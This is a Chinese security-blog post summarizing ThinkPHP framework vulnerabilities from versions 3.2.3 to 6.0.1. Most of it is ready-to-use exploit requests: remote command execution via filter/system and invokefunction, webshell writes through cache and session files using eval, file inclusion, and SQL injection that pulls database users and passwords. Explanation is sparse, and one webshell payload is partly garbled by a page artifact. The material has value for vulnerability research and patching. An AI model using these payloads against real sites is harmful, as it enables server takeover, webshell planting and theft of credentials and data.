thinkphp学习

admin 2022年1月6日01:43:58安全博客评论17 views5689字阅读18分57秒阅读模式

thinkphp 漏洞的汇总

创建项目

1
composer create-project topthink/think tp500 5.0.0 --prefer-dist

修改项目根目录下的 composer.json 文件

1
2
3
"require": {
"topthink/framework": "5.1.6",
}

再更新项目

1
composer update

5.0.0~5.0.23 RCE

问题的根源在于请求方法的获取接收了不可信数据,Request类的变量被覆盖导致RCE

以 thinkphp 5.0.22 完整版为例,下载地址:http://www.thinkphp.cn/down/1260.html
exp1:

1
2
3
4
http://127.0.0.1/thinkphp/thinkphp_5.0.22_with_extend/public/index.php?s=captcha

POST:
_method=__construct&filter[]=system&method=get&get[]=whoami

exp2:

1
2
3
4
5
http://127.0.0.1/thinkphp/thinkphp_5.0.22_with_extend/public/index.php?s=test

POST:

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

漏洞分析详情可看 ThinkPHP 5.0.0~5.0.23 RCE 漏洞分析

3.2.3~5.0.10 缓存类RCE

漏洞利用条件:
1.基于tp5开发的代码中使用了Cache::set 进行缓存
2.在利用版本范围内
3.runtime目录可以访问

详情可看:https://paper.seebug.org/374/
漏洞形成原因对传入的value没有过滤,序列化后直接保存到文件里,可以用%0d%0a进行换行摆脱序列化,用注释符//注释掉后面的字符。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/**
* 写入缓存
* @access public
* @param string $name 缓存变量名 md5(键名)
* @param mixed $value 存储数据 键值
* @param int $expire 有效时间 0为永久
* @return boolean
*/
public function set($name, $value, $expire = null)
{
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$filename = $this->getCacheKey($name);
if ($this->tag && !is_file($filename)) {
$first = true;
}
$data = serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . $data . "\n?>";
$result = file_put_contents($filename, $data);
if ($result) {
isset($first) && $this->setTagItem($filename);
clearstatcache();
return true;
} else {
return false;
}
}

环境搭建
首先要有缓存操作文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
namespace app\index\controller;

use think\Cache;

class Index
{
public function index()
{
Cache::set("name",input("get.username"));
return 'Cache success';

}
}

访问该页面并写入shell

1
127.0.0.1/tp/public/index.php/index/index/index?username=syst1m%0d%0[email protected]eval($_GET[_]);//

分析源码可知,缓存文件默认保存在/runtime/cache/目录下,程序先获得键名(name)的 md5 值,然后将该 md5 值的前 2 个字符作为缓存子目录,后 30 字符作为缓存文件名,md5('name')=b068931cc450442b63f5b3d276ea4297,所以缓存文件的访问路径为

1
http://127.0.0.1/tp/runtime/cache/b0/68931cc450442b63f5b3d276ea4297.php

5.0.7~5.0.22未开启强制路由导致rce

1
2
3
4
?s=index/think\config/get&name=database.username # 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg # 包含任意文件
?s=index/\think\Config/load&file=../../t.php # 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

SQL注入

tp5的注入都比较鸡肋,不能进行子查询,tp3的可以

ThinkPHP 5.0.9 鸡肋SQL注入

https://xz.aliyun.com/t/2812
只能通过报错获取类似于database()、user()这类信息,而不支持子查询

环境:
https://github.com/vulhub/vulhub/tree/master/thinkphp/in-sqlinjection/www
index.php

1
2
3
4
5
6
7
8
9
public function index()
{
$ids = input('ids/a');
$t = new User();
$result = $t->where('id', 'in', $ids)->select();
foreach($result as $row) {
echo "<p>Hello, {$row['username']}</p>";
}
}

exp

1
http://localhost/public/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1

ThinkPHP 5.0.15 update/insert 注入

环境:
index.php

1
2
3
4
5
6
public function index()
{
$username = input('get.username/a');
$res = db('user')->where(['id'=> 1])->insert(['username'=>$username]);
var_dump($res);
}

利用:

1
2
3
4
http://localhost/tp5.0.15/public/index.php
?username[0]=inc
&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)
&username[2]=1

ThinkPHP 3.2.3 where注入

下载3.2.3版本的ThinkPHP,在IndexController.class.php中创建一个demo

public function index(){
$data = M(‘user’)->find(I(‘GET.id’));
var_dump($data);
}
下载3.2.3版本的ThinkPHP,在IndexController.class.php中创建一个demo

1
2
3
4
public function index(){
$data = M('user')->find(I('GET.id'));
var_dump($data);
}

利用

1
http://localhost/tp323/index.php?id[where]=3 and 1=updatexml(1,concat(0x7,(select password from user limit 1),0x7e),1)%23

ThinkPHP 3.2.3 bind 注入

demo

1
2
3
4
5
6
7
8
public function index(){
$User = M("user");
$user['id'] = I('id');
$data['username'] = I('username');
$data['password'] = I('password');
$valu = $User->where($user)->save($data);
var_dump($valu);
}

5.1未开启强制路由导致的RCE

thinkphp默认没有开启强制路由
说明我们可以使用路由兼容模式 s 参数,而框架对控制器名没有进行足够的检测,说明可能可以调用任意的控制器任意方法来执行,
eg: http://site/?s=模块/控制器/方法
poc1
详情可看 https://www.cnblogs.com/wangtanzhi/p/12715255.html

1
http://127.0.0.1/tp5117/public/index.php?s=index/\think\Request/input&filter[]=system&data=whoami

poc2

1
http://127.0.0.1/tp5117/public/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

Thinkphp5.1 ~ 5.2 全版本代码执行

https://www.secpulse.com/archives/95952.html

环境:
需要在index.php 中添加error_reporting(0);,要不会报filter错误

1
2
3
4
5
6
7
// 加载基础文件
require __DIR__ . '/../thinkphp/base.php';

// 支持事先使用静态方法设置Request对象和Config对象
error_reporting(0);
// 执行应用并响应
Container::get('app')->run()->send();

利用

1
2
http://127.0.0.1/tp5117/public/index.php
post:c=system&f=calc.exe&_method=filter

thinkphp6.0.0-6.0.1 任意文件操作

利用条件:

  • ThinkPHP6.0.0-6.0.1
  • 开启Sessoin中间件

漏洞复现
官方commit: https://github.com/top-think/framework/commit/1bbe75019ce6c8e0101a6ef73706217e406439f2

复现环境为:phpstudy+thinkphp6.0.1

\app\controller\index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
namespace app\controller;

use app\BaseController;
use think\facade\Session;
class Index extends BaseController
{
public function index($name)
{
Session::set('name', $name);
return 'hello,' . Session::get('name');;
}

}

\app\middleware.php

1
2
3
4
5
6
7
8
9
10
<?php
// 全局中间件定义文件
return [
// 全局请求缓存
// \think\middleware\CheckRequestCache::class,
// 多语言加载
// \think\middleware\LoadLangPack::class,
// Session初始化
\think\middleware\SessionInit::class
];

payload

1.正常注册一个账号

2.登陆时更改sessid为.php结尾(满足长度32位)

3.用相同的cookie向home/member/searchPOST一句话

4.在/runtime/session/中找到我们的马

1
2
3
http://127.0.0.1/tp/public/index.php?s=/index/index/&name=%3C?php%20phpinfo();?%3E

Cookie :PHPSESSID=9f7777c08f3909751b148338ba08.php#更改sessid为.php结尾(满足长度32位)

访问http://127.0.0.1/tp/runtime/session/sess_9f7777c08f3909751b148338ba08.php
补丁分析

vendor/topthink/framework/src/think/session/Store.php

在setId中增加了对$id的校验:ctype_alnum($id),只允许数字或字母,来避免任意文件操作
参考文章
ThinkPHP 5.0.0~5.0.23 RCE 漏洞分析
thinkphp v5.1反序列化链poc
Thinkphp5代码执行学习
ThinkPHP 的历史漏洞分析
ThinkPHP6 任意文件操作漏洞分析
ThinkPHP6 任意文件操作漏洞分析


FROM :blog.cfyqy.com | Author:cfyqy

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月6日01:43:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  thinkphp学习 http://cn-sec.com/archives/722457.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: